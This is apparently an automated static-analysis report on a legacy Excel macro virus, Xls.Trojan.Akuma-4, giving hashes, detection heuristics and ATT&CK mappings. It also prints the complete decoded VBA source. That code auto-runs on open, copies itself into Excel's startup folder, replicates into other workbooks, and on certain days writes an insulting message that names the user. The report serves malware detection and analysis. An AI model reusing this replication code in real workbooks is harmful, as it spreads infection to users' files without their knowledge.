Xls.Trojan.Akuma-4 — Office (OLE) malware analysis

Static analysis result for SHA-256 46f7781361100e7c…

MALICIOUS

Office (OLE)

264.0 KB Created: 1999-02-08 09:24:15 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: a948f7569eb5a13b92beae16ea83f6db SHA-1: 2e23026157a9cdc1f309d68b9416ded447eb6f00 SHA-256: 46f7781361100e7c555bee32b1c7c1114244da191cf18a92442cfee9e5765740
280 Risk Score

Malware Insights

Xls.Trojan.Akuma-4 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as a malicious Excel 5 macro-virus, specifically 'Xls.Trojan.Akuma-4' by ClamAV. The Auto_Open macro is designed to execute the 'Akuma' subroutine upon opening the workbook. This subroutine attempts to create or copy an Excel sheet named 'Akuma' and save it as 'Akuma.XLS' in the application startup path, potentially to establish persistence or facilitate payload delivery. The heuristic 'SE_PASSWORD_ARCHIVE_LURE' suggests a common tactic of using password-protected archives to bypass gateway scanning.

Heuristics 5

  • ClamAV: Xls.Trojan.Akuma-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Akuma-4
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2621 bytes
SHA-256: 9e36330f9911529cacaf4a05253df74b76199c4ec3425edce2cc8d9af1300d65
Detection
ClamAV: Xls.Trojan.Akuma-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Akuma"
Private Sub Auto_Open()
    Application.OnSheetActivate = "Akuma.Akuma"
End Sub

Private Sub Akuma()
    With Application
        .DisplayRecentFiles = True
        .SheetsInNewWorkbook = 128
    End With
    e = False
    m = False
    If Dir(Application.StartupPath & "\" & "Akuma.XLS") = "Akuma.XLS" Then e = True
    For c = 1 To ActiveWorkbook.Sheets.Count
        If ActiveWorkbook.Sheets(c).Name = "Akuma" Then m = True: Exit For
    Next c
    If e = False Then AkumaExcel
    If m = False Then AkumaModule
    If Day(Date) >= 16 And Day(Date) <= 18 Then AkumaDestroy
End Sub

Private Sub AkumaExcel()
    Application.ScreenUpdating = False
    actn$ = ActiveWorkbook.Name
    Workbooks(actn$).Sheets("Akuma").Copy
    nn$ = ActiveWorkbook.Name
    cdir$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(nn$).SaveAs FileName:=Application.StartupPath & "/" & "Akuma.XLS", FileFormat:=xlNormal, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, CreateBackup:=False
    ChDir cdir$
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "Akuma.xls!Akuma.Akuma"
End Sub

Private Sub AkumaModule()
    Application.ScreenUpdating = False
    actn$ = ActiveWorkbook.Name
    Workbooks("Akuma.xls").Sheets("Akuma").Copy before:=Workbooks(actn$).Sheets(1)
    Workbooks(actn$).Save
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "Akuma.xls!Akuma.Akuma"
End Sub

Private Sub AkumaDestroy()
    If Dir("c:\mary.log", vbArchive + vbHidden + vbReadOnly) = "" Then
        For c = 1 To ActiveWorkbook.Sheets.Count
            If ActiveWorkbook.Sheets(c).Name <> "Akuma" Then copier = c: Exit For
        Next c
        ActiveWorkbook.Sheets(copier).Select
        ActiveWorkbook.Sheets(copier).Visible = True
        Cells(1, 1) = "Something wonderful has happened, your PC is alive and even better but some of your documents are infected by the Akuma virus."
        Cells(2, 1) = "Minny is simply a bitch and you, " + Application.UserName + ", are a stupid jerk."
        Cells(3, 1) = "Have a nice day."
        ActiveWorkbook.Sheets(copier).Visible = False
    Else
        MsgBox "Something wonderful has happened, your PC is alive and even better but some of your documents are infected by the Akuma virus." + Chr$(10) + "Minny is simply a bitch and you, " + Application.UserName + ", are a stupid jerk." + Chr$(10) + "Have a nice day."
    End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.